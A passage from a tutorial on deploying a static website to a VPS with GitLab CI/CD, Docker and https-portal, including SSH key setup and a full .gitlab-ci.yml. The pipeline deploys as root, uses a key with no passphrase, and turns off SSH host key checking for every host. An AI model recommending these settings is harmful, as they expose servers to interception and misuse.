Once you are done, hit the Add DNS Entry button to save the changes. The tricky part here is that DNS resolvers and nameservers can take some time to propagate the changes we just made. To check the status of propagation we can use this site. Input your domain name and run the checks for A record. Once it propagates you should see a lot of green checkmarks. If not, wait for a few minutes and check again until you do.

2. Configuring your VPS

To be able to remotely log in to our VPS (via GitLab), we need to provide our root user (root user is the one you configure along with the VPS upon system installation) with his own SSH key. To do so, we first need to log in to our VPS via ssh inside the terminal/console.

ssh root@your-server-ip-address

Upon entering the command above you will be prompted to enter the root user’s password. After you log in you should see something like this:

root@vps1234567:~#

Our remote terminal is ready to take and process new commands. Now we will generate our SSH key. Enter the command:

ssh-keygen -t rsa
Generating public/private rsa key pair. 
Enter file in which to save the key (/root/.ssh/id_rsa):  
Enter passphrase (empty for no passphrase):  
Enter same passphrase again:  
Your identification has been saved in /root/.ssh/id_rsa 
Your public key has been saved in /root/.ssh/id_rsa.pub

For each of these prompts, you can just press Enter to leave them blank. Along with the input above, you should also see an image-like fingerprint. So far so good. We now have private/public ssh key pair. Now let’s add our public key to authorized keys by using the command:

cat ~/.ssh/id_rsa.pub > ~/.ssh/authorized_keys

Also, we need to get our private key for later on when GitLab comes along. To get the contents of our private key, use the command:

cat ~/.ssh/id_rsa

If everything goes ok you should see terminal output containing a long list of characters like below

-----BEGIN OPENSSH PRIVATE KEY----- 
...
...
...
-----END OPENSSH PRIVATE KEY-----

Copy/save it (BEGIN and END line included) as we will need it. Now that we have everything we need, it is time to create a GitLab repository that will hold our website.

3. Configuring GitLab repository

Note: This section assumes that you have basic GitLab CI/CD knowledge. If you are not familiar with it, please refer to this link.

Head over to GitLab and create a new blank project. Project name can be set to your domain name and you might want to set your project to private. Once you create your project, clone it locally to a destination of your choice using the git clone command:

git clone git@gitlab.com:your.username/repo.name.git

You have your blank repository available locally now. To get CI/CD to work, we need to configure some environment variables. To do so, go to your CI/CD settings page and hit Expand next to the Variables section. Our deployment will need 4 variables set. Configure your variables like in the picture below:

GitLab environment variables

EXAMPLE CONFIG
DEPLOY_SERVER_IP - your VPS IP address -> 12.34.567.88
DEPLOY_SERVER_PATH - website path -> /srv/docker/domain.com
DEPLOY_SERVER_USER - should be VPS default user -> root
SSH_PRIVATE_KEY - private key we saved earlier ->
-----BEGIN OPENSSH PRIVATE KEY----- 
...
...
...
-----END OPENSSH PRIVATE KEY-----

Make sure to set the masked/protected checkmarks as in the above picture. Once you are done we can move on to creating our local files/folders.

4. Local files

Note: Some knowledge of Docker/docker-compose is required even tho you will be able to understand what is going on even if you don’t have any. If you want to test your website locally, you will have to install Docker and docker-compose to your host OS. If you are not interested in testing locally, skip installing Docker and docker-compose to your OS since they will only be needed on our VPS server.

Navigate to the location where you cloned your GitLab repo earlier in the guide since we will be creating our files there. This folder should be empty and/or contain only the README.md file.

To start, create an empty folder called html. Inside it create another folder called localhost if you plan to test locally (read the note above). Create another folder (also inside the html directory) called yourdomain.com (replace this with your real domain name). Create a blank file inside the yourdomain.com folder and name it index.html. If you already have your website ready, skip the creation of the blank index.html file and place your website files/folders inside instead. Now yourdomain.com should consist either of a blank index file or your website files/folders.

Next, we will create a new file in the repository root (outside the html folder). Name the file docker-compose.yml. I won’t go into details of the contents for this file because it depends on how familiar you are with docker-compose. Instead, I will just put the contents of the file below for you to copy/paste:

version: '3'

services:

  https-portal:
    image: steveltn/https-portal:1
    restart: unless-stopped
    ports:
        - 80:80
        - 443:443
    volumes:
        - ./ssl_certs:/var/lib/https-portal
        - ./html:/var/www/vhosts:rw
    environment:
        DOMAINS: 'localhost'
        STAGE: 'local'

What does this do? TLDR; This will create a localhost environment with a self-signed SSL certificate for you (HTTPS). Also, it will run a webserver on your localhost so that you can test your website (again for the requirements read the note from the start of the section) that is placed inside the html/localhost directory. If you opted not to test locally you can skip this part.

Local testing requires (as per the note below the section start) that you have Docker and docker-compose installed. While inside the repository root directory (where docker-compose.yml is), open up your terminal/console and type the following:

docker-compose up

After a while, your website should be running on your localhost web server and you should be able to access it by using your web browser. Once you get your testing done, you can use CTRL+C to stop running the webserver/docker container.

You got this far, now let’s do few more steps to get this running in production as well.

Create a new file and name it docker-compose.prod.yml inside your repository root. The contents of the new file are:

version: '3'

services:

  https-portal:
    image: steveltn/https-portal:1
    restart: unless-stopped
    ports:
        - 80:80
        - 443:443
    volumes:
        - ./ssl_certs:/var/lib/https-portal
        - ./html:/var/www/vhosts:rw
    environment:
        DOMAINS: 'yourdomain.com, www.yourdomain.com => https://yourdomain.com'
        STAGE: 'production'

Replace yourdomain.com with your actual domain. This does almost the same as the previous file but this time we are not using localhost, we are using our actual domain. Also, we are redirecting all the traffic from yourdomain.com to https://yourdomain.com.

We don’t want our localhost testing website to go to our git repository so we should also create .gitignore file:

.DS_Store
.idea/
.ssl_certs/
html/localhost/

The last file that we need to create is .gitlab-ci.yml. This is it, the big finale. This file will actually instruct GitLab on how to connect to our VPS and what to do when it does. Put the following inside the .gitlab-ci.yml file:

image: python

stages:
  - Deploy

deploy_web:
    stage: Deploy
    before_script:
        - 'which ssh-agent || ( apt-get update -y && apt-get install openssh-client -y )'
        - mkdir -p ~/.ssh
        - echo "$SSH_PRIVATE_KEY" | tr -d '\r' > ~/.ssh/id_rsa
        - chmod 600 ~/.ssh/id_rsa
        - eval "$(ssh-agent -s)"
        - ssh-add ~/.ssh/id_rsa
        - ssh-keyscan -t rsa $DEPLOY_SERVER_IP > ~/.ssh/known_hosts
        - echo -e "Host *\n\tStrictHostKeyChecking no\n\n" > ~/.ssh/config
        - chmod 644 ~/.ssh/known_hosts
    script:
        - ssh $DEPLOY_SERVER_USER@$DEPLOY_SERVER_IP "which docker || ( apt-get update -y && apt-get install docker.io -y && systemctl enable --now docker )"
        - ssh $DEPLOY_SERVER_USER@$DEPLOY_SERVER_IP "which docker-compose || ( curl -L 'https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)' -o /usr/local/bin/docker-compose && chmod +x /usr/local/bin/docker-compose )"
        - ssh $DEPLOY_SERVER_USER@$DEPLOY_SERVER_IP "if [ ! -d "$DEPLOY_SERVER_PATH" ]; then mkdir -p $DEPLOY_SERVER_PATH; fi"
        - scp -prq $CI_PROJECT_DIR/* $DEPLOY_SERVER_USER@$DEPLOY_SERVER_IP:$DEPLOY_SERVER_PATH/
        - ssh $DEPLOY_SERVER_USER@$DEPLOY_SERVER_IP "cd $DEPLOY_SERVER_PATH && docker-compose -f docker-compose.prod.yml stop"
        - ssh $DEPLOY_SERVER_USER@$DEPLOY_SERVER_IP "cd $DEPLOY_SERVER_PATH && docker-compose -f docker-compose.prod.yml up -d"
    only:
        - master

A lot is going on here so I will try to explain in a way that you can understand even if you don’t have any idea what is going on in here.

We have a stage (Deploy) and a job inside that stage (deploy_web). Inside the job, we have 4 tags and they all do their part of the magic. Let’s analyze what each of them does:

stage: Deploy -> Our job belongs to stage called "Deploy"
before_script: -> Set of commands that will fire before the `script` tag. What we do here is configure our ssh key (private key we added to environment variables earlier in the guide) so that we can connect from GitLab to our target server.
script: -> First we make sure that our VPS target has both Docker and docker-compose installed - if not, we install both of them and run them. Then we make sure that the DEPLOY_SERVER_PATH directory tree exists - if not we must create that also. Afterward, we copy all the contents of our html/yourdomain.com directory to the VPS equivalent so that our "new version" goes live. Then we just restart docker-compose container to reflect the changes we did.
only: - master -> This will tell GitLab not to deploy anything unless the branch is master. If your branch is called main instead, please change this line to reflect it.

Our final repository structure should look something like this:

Final repo structure

The only thing that is left now is to actually push your code to the GitLab repository:

git add .
git commit -m "Init commit"
git push origin master

If you use main instead of master please correct the last line. If there are no mistakes, you should be able to see the newly created pipeline inside your repository. Once the little blue icon turns to a green checkmark, your website should be up and running. Feel free to head over to yourdomain.com and verify that everything is as it should be.

Congrats, you just deployed your website via GitLab CI/CD with the help of Docker and docker-compose.

Thanks for reading!